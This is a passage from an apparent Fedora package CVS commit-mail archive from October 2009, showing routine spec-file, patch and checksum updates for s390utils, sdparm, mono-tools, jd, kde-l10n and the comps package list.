-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Mon Jun 22 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.4,2-2
+- bump to RC1
 
 * Tue Jun 09 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.4.2-1
 - bump to 2.4.2 preview


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libgdiplus/devel/sources,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- sources	14 Jun 2009 11:17:45 -0000	1.27
+++ sources	4 Oct 2009 15:28:23 -0000	1.28
@@ -1 +1 @@
-703210950bce2ed0a9824f897f774925  libgdiplus-2.4.2.tar.bz2
+c035f5634be0b657057b25696bb211d7  libgdiplus-137314.tar.bz2



From sharkcz at fedoraproject.org  Sun Oct  4 15:57:11 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Sun,  4 Oct 2009 15:57:11 +0000 (UTC)
Subject: rpms/s390utils/F-11
	0023-change-default-load-address-for-ramdisk.patch, 1.1,
	1.2 s390utils.spec, 1.9, 1.10
Message-ID: <20091004155711.7797411C0298@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/s390utils/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18634

Modified Files:
	0023-change-default-load-address-for-ramdisk.patch 
	s390utils.spec 
Log Message:
* Fri Oct  2 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.1-8
- really changed ramdisk load address (#526339)
- change the required and optional subpackages for the meta package


0023-change-default-load-address-for-ramdisk.patch:
 zipl.h |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

Index: 0023-change-default-load-address-for-ramdisk.patch
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/F-11/0023-change-default-load-address-for-ramdisk.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0023-change-default-load-address-for-ramdisk.patch	30 Sep 2009 19:33:32 -0000	1.1
+++ 0023-change-default-load-address-for-ramdisk.patch	4 Oct 2009 15:57:10 -0000	1.2
@@ -1,27 +1,27 @@
-From bfe74e60ab6529986a7c251042d17d57a3ccf675 Mon Sep 17 00:00:00 2001
+From 10886e2ec85474a8b4646b725a240d388dcdccee Mon Sep 17 00:00:00 2001
 From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
-Date: Wed, 30 Sep 2009 18:19:23 +0200
+Date: Sun, 4 Oct 2009 17:46:16 +0200
 Subject: [PATCH 23/25] change default load address for ramdisk
 
 The default load address for the initial ramdisk is changed from
-0x100000 to 0x200000 to allow larger kernels to be loaded.
+0x800000 to 0x2000000 to allow larger kernels to be loaded.
 ---
  zipl/include/zipl.h |    2 +-
  1 files changed, 1 insertions(+), 1 deletions(-)
 
 diff --git a/zipl/include/zipl.h b/zipl/include/zipl.h
-index 1f70e48..0f04072 100644
+index 1f70e48..d2d26dd 100644
 --- a/zipl/include/zipl.h
 +++ b/zipl/include/zipl.h
-@@ -21,7 +21,7 @@
- #define ZIPL_STAGE3_ENTRY_ADDRESS	0xa028LL
+@@ -22,7 +22,7 @@
  #define DEFAULT_PARMFILE_ADDRESS	0x1000LL
  #define DEFAULT_STAGE3_ADDRESS		0xa000LL
--#define DEFAULT_IMAGE_ADDRESS		0x10000LL
-+#define DEFAULT_IMAGE_ADDRESS		0x20000LL
- #define DEFAULT_RAMDISK_ADDRESS 	0x800000LL
+ #define DEFAULT_IMAGE_ADDRESS		0x10000LL
+-#define DEFAULT_RAMDISK_ADDRESS 	0x800000LL
++#define DEFAULT_RAMDISK_ADDRESS 	0x2000000LL
  
  #define PSW_ADDRESS_MASK		0x000000007fffffffLL
+ #define PSW_LOAD			0x0008000080000000LL
 -- 
 1.6.3.3
 


Index: s390utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/F-11/s390utils.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- s390utils.spec	30 Sep 2009 19:33:32 -0000	1.9
+++ s390utils.spec	4 Oct 2009 15:57:11 -0000	1.10
@@ -8,7 +8,7 @@ Name:           s390utils
 Summary:        Utilities and daemons for IBM System/z
 Group:          System Environment/Base
 Version:        1.8.1
-Release:        7%{?dist}
+Release:        8%{?dist}
 Epoch:          2
 License:        GPLv2 and GPLv2+ and CPL
 Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -61,9 +61,8 @@ Requires:       s390utils-base = %{epoch
 Requires:       s390utils-osasnmpd = %{epoch}:%{version}-%{release}
 Requires:       s390utils-cpuplugd = %{epoch}:%{version}-%{release}
 Requires:       s390utils-mon_statd = %{epoch}:%{version}-%{release}
+Requires:       s390utils-iucvterm = %{epoch}:%{version}-%{release}
 Requires:       s390utils-ziomon = %{epoch}:%{version}-%{release}
-Requires:       s390utils-libzfcphbaapi = %{epoch}:%{version}-%{release}
-Requires:       s390utils-libzfcphbaapi-devel = %{epoch}:%{version}-%{release}
 Requires:       s390utils-cmsfs = %{epoch}:%{version}-%{release}
 
 
@@ -788,6 +787,10 @@ User-space development files for the s39
 
 
 %changelog
+* Fri Oct  2 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.1-8
+- really changed ramdisk load address (#526339)
+- change the required and optional subpackages for the meta package
+
 * Wed Sep 30 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.1-7
 - changed ramdisk load address (#526339)
 - updated zfcpconf.sh script to new sysfs interface (#526324)



From sharkcz at fedoraproject.org  Sun Oct  4 15:58:08 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Sun,  4 Oct 2009 15:58:08 +0000 (UTC)
Subject: rpms/s390utils/F-12
	0023-change-default-load-address-for-ramdisk.patch, 1.1,
	1.2 s390utils.spec, 1.8, 1.9
Message-ID: <20091004155808.1078C11C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/s390utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18884

Modified Files:
	0023-change-default-load-address-for-ramdisk.patch 
	s390utils.spec 
Log Message:
* Fri Oct  2 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.1-8
- really changed ramdisk load address (#526339)
- change the required and optional subpackages for the meta package


0023-change-default-load-address-for-ramdisk.patch:
 zipl.h |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

Index: 0023-change-default-load-address-for-ramdisk.patch
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/F-12/0023-change-default-load-address-for-ramdisk.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0023-change-default-load-address-for-ramdisk.patch	30 Sep 2009 20:10:45 -0000	1.1
+++ 0023-change-default-load-address-for-ramdisk.patch	4 Oct 2009 15:58:07 -0000	1.2
@@ -1,27 +1,27 @@
-From bfe74e60ab6529986a7c251042d17d57a3ccf675 Mon Sep 17 00:00:00 2001
+From 10886e2ec85474a8b4646b725a240d388dcdccee Mon Sep 17 00:00:00 2001
 From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
-Date: Wed, 30 Sep 2009 18:19:23 +0200
+Date: Sun, 4 Oct 2009 17:46:16 +0200
 Subject: [PATCH 23/25] change default load address for ramdisk
 
 The default load address for the initial ramdisk is changed from
-0x100000 to 0x200000 to allow larger kernels to be loaded.
+0x800000 to 0x2000000 to allow larger kernels to be loaded.
 ---
  zipl/include/zipl.h |    2 +-
  1 files changed, 1 insertions(+), 1 deletions(-)
 
 diff --git a/zipl/include/zipl.h b/zipl/include/zipl.h
-index 1f70e48..0f04072 100644
+index 1f70e48..d2d26dd 100644
 --- a/zipl/include/zipl.h
 +++ b/zipl/include/zipl.h
-@@ -21,7 +21,7 @@
- #define ZIPL_STAGE3_ENTRY_ADDRESS	0xa028LL
+@@ -22,7 +22,7 @@
  #define DEFAULT_PARMFILE_ADDRESS	0x1000LL
  #define DEFAULT_STAGE3_ADDRESS		0xa000LL
--#define DEFAULT_IMAGE_ADDRESS		0x10000LL
-+#define DEFAULT_IMAGE_ADDRESS		0x20000LL
- #define DEFAULT_RAMDISK_ADDRESS 	0x800000LL
+ #define DEFAULT_IMAGE_ADDRESS		0x10000LL
+-#define DEFAULT_RAMDISK_ADDRESS 	0x800000LL
++#define DEFAULT_RAMDISK_ADDRESS 	0x2000000LL
  
  #define PSW_ADDRESS_MASK		0x000000007fffffffLL
+ #define PSW_LOAD			0x0008000080000000LL
 -- 
 1.6.3.3
 


Index: s390utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/F-12/s390utils.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- s390utils.spec	30 Sep 2009 20:10:48 -0000	1.8
+++ s390utils.spec	4 Oct 2009 15:58:07 -0000	1.9
@@ -8,7 +8,7 @@ Name:           s390utils
 Summary:        Utilities and daemons for IBM System/z
 Group:          System Environment/Base
 Version:        1.8.1
-Release:        7%{?dist}
+Release:        8%{?dist}
 Epoch:          2
 License:        GPLv2 and GPLv2+ and CPL
 Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -61,9 +61,8 @@ Requires:       s390utils-base = %{epoch
 Requires:       s390utils-osasnmpd = %{epoch}:%{version}-%{release}
 Requires:       s390utils-cpuplugd = %{epoch}:%{version}-%{release}
 Requires:       s390utils-mon_statd = %{epoch}:%{version}-%{release}
+Requires:       s390utils-iucvterm = %{epoch}:%{version}-%{release}
 Requires:       s390utils-ziomon = %{epoch}:%{version}-%{release}
-Requires:       s390utils-libzfcphbaapi = %{epoch}:%{version}-%{release}
-Requires:       s390utils-libzfcphbaapi-devel = %{epoch}:%{version}-%{release}
 Requires:       s390utils-cmsfs = %{epoch}:%{version}-%{release}
 
 
@@ -788,6 +787,10 @@ User-space development files for the s39
 
 
 %changelog
+* Fri Oct  2 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.1-8
+- really changed ramdisk load address (#526339)
+- change the required and optional subpackages for the meta package
+
 * Wed Sep 30 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.1-7
 - changed ramdisk load address (#526339)
 - updated zfcpconf.sh script to new sysfs interface (#526324)



From sharkcz at fedoraproject.org  Sun Oct  4 16:01:14 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Sun,  4 Oct 2009 16:01:14 +0000 (UTC)
Subject: rpms/s390utils/devel
	0023-change-default-load-address-for-ramdisk.patch, 1.1,
	1.2 s390utils.spec, 1.8, 1.9
Message-ID: <20091004160114.43EEE11C0297@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/s390utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19927

Modified Files:
	0023-change-default-load-address-for-ramdisk.patch 
	s390utils.spec 
Log Message:
* Fri Oct  2 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.1-8
- really changed ramdisk load address (#526339)
- change the required and optional subpackages for the meta package


0023-change-default-load-address-for-ramdisk.patch:
 zipl.h |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

Index: 0023-change-default-load-address-for-ramdisk.patch
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/devel/0023-change-default-load-address-for-ramdisk.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0023-change-default-load-address-for-ramdisk.patch	30 Sep 2009 20:09:33 -0000	1.1
+++ 0023-change-default-load-address-for-ramdisk.patch	4 Oct 2009 16:01:13 -0000	1.2
@@ -1,27 +1,27 @@
-From bfe74e60ab6529986a7c251042d17d57a3ccf675 Mon Sep 17 00:00:00 2001
+From 10886e2ec85474a8b4646b725a240d388dcdccee Mon Sep 17 00:00:00 2001
 From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
-Date: Wed, 30 Sep 2009 18:19:23 +0200
+Date: Sun, 4 Oct 2009 17:46:16 +0200
 Subject: [PATCH 23/25] change default load address for ramdisk
 
 The default load address for the initial ramdisk is changed from
-0x100000 to 0x200000 to allow larger kernels to be loaded.
+0x800000 to 0x2000000 to allow larger kernels to be loaded.
 ---
  zipl/include/zipl.h |    2 +-
  1 files changed, 1 insertions(+), 1 deletions(-)
 
 diff --git a/zipl/include/zipl.h b/zipl/include/zipl.h
-index 1f70e48..0f04072 100644
+index 1f70e48..d2d26dd 100644
 --- a/zipl/include/zipl.h
 +++ b/zipl/include/zipl.h
-@@ -21,7 +21,7 @@
- #define ZIPL_STAGE3_ENTRY_ADDRESS	0xa028LL
+@@ -22,7 +22,7 @@
  #define DEFAULT_PARMFILE_ADDRESS	0x1000LL
  #define DEFAULT_STAGE3_ADDRESS		0xa000LL
--#define DEFAULT_IMAGE_ADDRESS		0x10000LL
-+#define DEFAULT_IMAGE_ADDRESS		0x20000LL
- #define DEFAULT_RAMDISK_ADDRESS 	0x800000LL
+ #define DEFAULT_IMAGE_ADDRESS		0x10000LL
+-#define DEFAULT_RAMDISK_ADDRESS 	0x800000LL
++#define DEFAULT_RAMDISK_ADDRESS 	0x2000000LL
  
  #define PSW_ADDRESS_MASK		0x000000007fffffffLL
+ #define PSW_LOAD			0x0008000080000000LL
 -- 
 1.6.3.3
 


Index: s390utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/devel/s390utils.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- s390utils.spec	30 Sep 2009 20:09:33 -0000	1.8
+++ s390utils.spec	4 Oct 2009 16:01:13 -0000	1.9
@@ -8,7 +8,7 @@ Name:           s390utils
 Summary:        Utilities and daemons for IBM System/z
 Group:          System Environment/Base
 Version:        1.8.1
-Release:        7%{?dist}
+Release:        8%{?dist}
 Epoch:          2
 License:        GPLv2 and GPLv2+ and CPL
 Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -61,9 +61,8 @@ Requires:       s390utils-base = %{epoch
 Requires:       s390utils-osasnmpd = %{epoch}:%{version}-%{release}
 Requires:       s390utils-cpuplugd = %{epoch}:%{version}-%{release}
 Requires:       s390utils-mon_statd = %{epoch}:%{version}-%{release}
+Requires:       s390utils-iucvterm = %{epoch}:%{version}-%{release}
 Requires:       s390utils-ziomon = %{epoch}:%{version}-%{release}
-Requires:       s390utils-libzfcphbaapi = %{epoch}:%{version}-%{release}
-Requires:       s390utils-libzfcphbaapi-devel = %{epoch}:%{version}-%{release}
 Requires:       s390utils-cmsfs = %{epoch}:%{version}-%{release}
 
 
@@ -788,6 +787,10 @@ User-space development files for the s39
 
 
 %changelog
+* Fri Oct  2 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.1-8
+- really changed ramdisk load address (#526339)
+- change the required and optional subpackages for the meta package
+
 * Wed Sep 30 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.1-7
 - changed ramdisk load address (#526339)
 - updated zfcpconf.sh script to new sysfs interface (#526324)



From rdieter at fedoraproject.org  Sun Oct  4 16:07:57 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sun,  4 Oct 2009 16:07:57 +0000 (UTC)
Subject: rpms/kde-l10n/devel kde-l10n.spec,1.96,1.97
Message-ID: <20091004160757.C013E11C00E5@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kde-l10n/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20760

Modified Files:
	kde-l10n.spec 
Log Message:
%%files: use main, not common



Index: kde-l10n.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kde-l10n/devel/kde-l10n.spec,v
retrieving revision 1.96
retrieving revision 1.97
diff -u -p -r1.96 -r1.97
--- kde-l10n.spec	4 Oct 2009 05:05:34 -0000	1.96
+++ kde-l10n.spec	4 Oct 2009 16:07:57 -0000	1.97
@@ -873,7 +873,7 @@ rm -rf %{buildroot}%{_kde4_docdir}/HTML/
 rm -rf %{buildroot}
 
 
-%files common
+%files
 # empty
 
 %if %{buildall}



From sharkcz at fedoraproject.org  Sun Oct  4 16:30:57 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Sun,  4 Oct 2009 16:30:57 +0000 (UTC)
Subject: rpms/sdparm/EL-5 .cvsignore, 1.3, 1.4 sdparm.spec, 1.2, 1.3 sources,
	1.3, 1.4
Message-ID: <20091004163057.6981F11C00E5@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/sdparm/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25000

Modified Files:
	.cvsignore sdparm.spec sources 
Log Message:
update to match rawhide


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/EL-5/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	5 Nov 2007 18:45:38 -0000	1.3
+++ .cvsignore	4 Oct 2009 16:30:57 -0000	1.4
@@ -1 +1 @@
-sdparm-1.02.tgz
+sdparm-1.03.tgz


Index: sdparm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/EL-5/sdparm.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sdparm.spec	5 Nov 2007 18:45:38 -0000	1.2
+++ sdparm.spec	4 Oct 2009 16:30:57 -0000	1.3
@@ -1,11 +1,11 @@
-Summary: List or change SCSI/SATA disk parameters
-Name: sdparm
-Version: 1.02
-Release: 1%{?dist}
-License: BSD
-Group: Applications/System
-URL: http://www.torque.net/sg/sdparm.html
-Source0: http://www.torque.net/sg/p/%{name}-%{version}.tgz
+Summary:   List or change SCSI/SATA disk parameters
+Name:      sdparm
+Version:   1.03
+Release:   4%{?dist}
+License:   BSD
+Group:     Applications/System
+URL:       http://sg.danny.cz/sg/sdparm.html
+Source0:   http://sg.danny.cz/sg/p/sdparm-%{version}.tgz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 %description 
@@ -28,23 +28,38 @@ such that the disk stops operating or is
 
 %build
 %configure
-make %{?_smp_mflags}
+%{__make} %{?_smp_mflags}
 
 %install
-rm -rf %{buildroot}
+%{__rm} -rf %{buildroot}
 
-make install DESTDIR=%{buildroot}
+%{__make} install DESTDIR=%{buildroot} INSTALL="%{__install} -p"
 
 %clean
-rm -rf %{buildroot}
+%{__rm} -rf %{buildroot}
 
 %files
-%defattr(-,root,root,-)
+%defattr(-, root, root, -)
 %doc ChangeLog README CREDITS AUTHORS COPYING notes.txt
 %{_bindir}/%{name}
 %{_mandir}/man8/%{name}*
 
 %changelog
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.03-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.03-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Sat Feb  8 2009 Terje Rosten <terje.rosten at ntnu.no> - 1.03-2
+- Website has moved
+
+* Tue Aug 12 2008 Terje Rosten <terje.rosten at ntnu.no> - 1.03-1
+- 1.03
+
+* Sat Feb  9 2008 Terje Rosten <terje.rosten at ntnu.no> - 1.02-2
+- Rebuild
+
 * Mon Nov  5 2007 Terje Rosten <terje.rosten at ntnu.no> - 1.02-1
 - 1.02
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sdparm/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	5 Nov 2007 18:45:38 -0000	1.3
+++ sources	4 Oct 2009 16:30:57 -0000	1.4
@@ -1 +1 @@
-cc6de6fdba91f382d00b9b8a09dd14f2  sdparm-1.02.tgz
+0f7ef943ee0a000ba90fe00ccb82763b  sdparm-1.03.tgz



From kevin at fedoraproject.org  Sun Oct  4 17:28:06 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sun,  4 Oct 2009 17:28:06 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.143,1.144
Message-ID: <20091004172806.47DB711C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/extras/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4100

Modified Files:
	comps-f12.xml.in 
Log Message:
Fix rawhide breaking typo



Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f12.xml.in,v
retrieving revision 1.143
retrieving revision 1.144
diff -u -p -r1.143 -r1.144
--- comps-f12.xml.in	4 Oct 2009 04:33:14 -0000	1.143
+++ comps-f12.xml.in	4 Oct 2009 17:28:05 -0000	1.144
@@ -3658,7 +3658,7 @@
       <packagereq type="default">ksshaskpass</packagereq>
       <packagereq type="default">ktorrent</packagereq>
       <packagereq type="default">NetworkManager-gnome</packagereq>
-      <packagereq type="default">phonon-backend-gstreamer</packagreq>
+      <packagereq type="default">phonon-backend-gstreamer</packagereq>
       <packagereq type="default">phonon-backend-xine</packagereq>
       <packagereq type="default">pinentry-qt</packagereq>
       <packagereq type="default">polkit-gnome</packagereq>



From mtasaka at fedoraproject.org  Sun Oct  4 18:37:48 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sun,  4 Oct 2009 18:37:48 +0000 (UTC)
Subject: rpms/jd/devel .cvsignore, 1.389, 1.390 jd.spec, 1.452, 1.453 sources,
	1.390, 1.391
Message-ID: <20091004183748.189F311C00E5@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19635

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Mon Oct  5 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3115



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/.cvsignore,v
retrieving revision 1.389
retrieving revision 1.390
diff -u -p -r1.389 -r1.390
--- .cvsignore	3 Oct 2009 18:35:20 -0000	1.389
+++ .cvsignore	4 Oct 2009 18:37:47 -0000	1.390
@@ -1 +1 @@
-jd-2.5.0-svn3111_trunk.tgz
+jd-2.5.0-svn3115_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/jd.spec,v
retrieving revision 1.452
retrieving revision 1.453
diff -u -p -r1.452 -r1.453
--- jd.spec	3 Oct 2009 18:35:22 -0000	1.452
+++ jd.spec	4 Oct 2009 18:37:47 -0000	1.453
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3111_trunk
+%define         strtag        svn3115_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Sun Oct  4 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3111
+* Mon Oct  5 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3115
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/devel/sources,v
retrieving revision 1.390
retrieving revision 1.391
diff -u -p -r1.390 -r1.391
--- sources	3 Oct 2009 18:35:23 -0000	1.390
+++ sources	4 Oct 2009 18:37:47 -0000	1.391
@@ -1 +1 @@
-0ff927675c636363480000c79c99f415  jd-2.5.0-svn3111_trunk.tgz
+11b22a2910a2ee6bacd03e66e9a6615b  jd-2.5.0-svn3115_trunk.tgz



From pfj at fedoraproject.org  Sun Oct  4 19:40:44 2009
From: pfj at fedoraproject.org (Paul F. Johnson)
Date: Sun,  4 Oct 2009 19:40:44 +0000 (UTC)
Subject: rpms/mono-tools/devel .cvsignore, 1.18, 1.19 import.log, 1.31,
	1.32 mono-tools.spec, 1.41, 1.42 sources, 1.19, 1.20
Message-ID: <20091004194044.C4A4311C02A1@cvs1.fedora.phx.redhat.com>

Author: pfj

Update of /cvs/pkgs/rpms/mono-tools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6376/devel

Modified Files:
	.cvsignore import.log mono-tools.spec sources 
Log Message:

Bump to 2.6 preview 1 



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mono-tools/devel/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	14 Jun 2009 20:12:07 -0000	1.18
+++ .cvsignore	4 Oct 2009 19:40:41 -0000	1.19
@@ -1 +1 @@
-mono-tools-2.4.2.tar.bz2
+mono-tools-2.6.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/mono-tools/devel/import.log,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- import.log	14 Jun 2009 20:12:07 -0000	1.31
+++ import.log	4 Oct 2009 19:40:41 -0000	1.32
@@ -29,3 +29,4 @@ mono-tools-2_4-7_RC3_fc11:HEAD:mono-tool
 mono-tools-2_4-8_fc11:HEAD:mono-tools-2.4-8.fc11.src.rpm:1238109531
 mono-tools-2_4-8_1_fc11:HEAD:mono-tools-2.4-8.1.fc11.src.rpm:1239049338
 mono-tools-2_4_2-1_fc12:HEAD:mono-tools-2.4.2-1.fc12.src.rpm:1245010283
+mono-tools-2_6-1_fc12:HEAD:mono-tools-2.6-1.fc12.src.rpm:1254685180


Index: mono-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono-tools/devel/mono-tools.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- mono-tools.spec	25 Jul 2009 15:02:28 -0000	1.41
+++ mono-tools.spec	4 Oct 2009 19:40:41 -0000	1.42
@@ -2,20 +2,20 @@
 
 Summary: A collection of tools for mono applications
 Name: mono-tools
-Version: 2.4.2
-Release: 5%{?dist}
+Version: 2.6
+Release: 1%{?dist}
 License: MIT
 Group: Development/Tools
 Source0: %{name}-%{version}.tar.bz2
 URL: http://mono.ximian.com/monobuild/preview/sources-preview/
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:  mono-data, mono-devel >= 2.4.2, gtk-sharp2-gapi, pkgconfig mono-nunit
+BuildRequires:  mono-data, mono-devel >= 2.6, gtk-sharp2-gapi, pkgconfig mono-nunit
 BuildRequires: gecko-sharp2-devel gnome-sharp-devel, gettext-devel
 BuildRequires: gtk-sharp2-devel autoconf automake libtool mono-nunit-devel
 BuildRequires: hunspell-devel desktop-file-utils gnome-desktop-sharp-devel
 BuildRequires: mono-jscript mono-data-oracle monodoc-devel mono-web-devel
 BuildRequires: webkit-sharp-devel
-Requires: mono-core >= 2.4.2 links monodoc
+Requires: mono-core >= 2.6 links monodoc
 Requires: mono(gtkhtml-sharp) >= 3.0
 Requires: mono(webkit-sharp)
 
@@ -96,7 +96,9 @@ desktop-file-install --vendor fedora \
 %{_bindir}/gsharp
 %{_bindir}/mperfmon
 %{_bindir}/gui-compare
-%{_libdir}/gsharp/gsharp.exe
+%{_bindir}/emveepee
+%{_bindir}/minvoke
+%{_libdir}/gsharp/gsharp.exe*
 %{_libdir}/gendarme/*.dll
 %{_libdir}/gendarme/*.exe
 %{_libdir}/gendarme/*.xml
@@ -109,10 +111,14 @@ desktop-file-install --vendor fedora \
 %{_libdir}/monodoc/GtkHtmlHtmlRender.dll
 %{_libdir}/monodoc/WebKitHtmlRender.dll
 %{_libdir}/monodoc/browser.exe
+%{_libdir}/minvoke/minvoke.exe
+%dir %{_libdir}/minvoke
 %dir %{_libdir}/ilcontrast
 %{_libdir}/ilcontrast/ilcontrast.exe
 %dir %{_libdir}/mono-tools
 %{_libdir}/mono-tools/mprof*
+%{_libdir}/mono-tools/Mono.Profiler.Widgets*
+%{_libdir}/mono-tools/emveepee.exe*
 %{_mandir}/man1/mprof*
 %{_mandir}/man1/create-native-map.1.gz
 %{_datadir}/pixmaps/ilcontrast.png
@@ -133,8 +139,12 @@ desktop-file-install --vendor fedora \
 %{_libdir}/monodoc/sources/gendarme*
 %dir %{_libdir}/monodoc/web
 %{_libdir}/monodoc/web/*
+%{_mandir}/man5/gendarme*
 
 %changelog
+* Sun Oct 04 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.6-1
+- Bump to 2.6
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.2-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mono-tools/devel/sources,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- sources	14 Jun 2009 20:12:07 -0000	1.19
+++ sources	4 Oct 2009 19:40:41 -0000	1.20
@@ -1 +1 @@
-49252ede8bec6e0b244f2a34712a067e  mono-tools-2.4.2.tar.bz2
+8d2b92cb254cc1fbcb65cd853f8bbc59  mono-tools-2.6.tar.bz2



From chkr at fedoraproject.org  Sun Oct  4 19:42:48 2009
From: chkr at fedoraproject.org (chkr)
Date: Sun,  4 Oct 2009 19:42:48 +0000 (UTC)
Subject: rpms/f-spot/devel 0001-remove-support-for-older-cairo-version.patch,
